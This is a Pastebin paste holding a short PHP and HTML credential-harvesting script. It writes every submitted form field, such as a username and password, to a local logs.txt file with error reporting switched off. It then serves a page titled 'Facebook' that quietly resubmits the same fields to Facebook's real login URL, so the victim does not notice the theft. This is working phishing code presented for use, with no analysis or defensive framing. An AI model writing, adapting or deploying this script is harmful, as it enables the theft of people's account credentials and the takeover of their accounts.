Advertisement
Guest User

Hzhshs

a guest
May 27th, 2017
74
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.70 KB | None | 0 0
  1. <?php
  2. error_reporting(0);
  3.  
  4. $handle = fopen("logs.txt", "a");
  5. foreach($_POST as $variable => $value) {
  6. fwrite($handle, $variable);
  7. fwrite($handle, "=");
  8. fwrite($handle, $value);
  9. fwrite($handle, "\r\n");
  10. }fwrite($handle, "\r\n");
  11. fclose($handle);
  12.  
  13. ?>
  14. <html>
  15. <head>
  16. <title>Facebook</title>
  17. </head>
  18. <body onload="document.forms.f.submit();">
  19. Chargement de la page.
  20. <form name="f" method="POST" action="https://www.facebook.com/login.php?login_attempt=1">
  21. <?php
  22. foreach($_POST as $key => $value)
  23. {
  24. echo "\t\t<input type=\"hidden\" name=\"".htmlentities($key)."\" value=\"".htmlentities($value)."\">\n";
  25. }
  26. ?>
  27. </form>
  28. </body>
  29. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement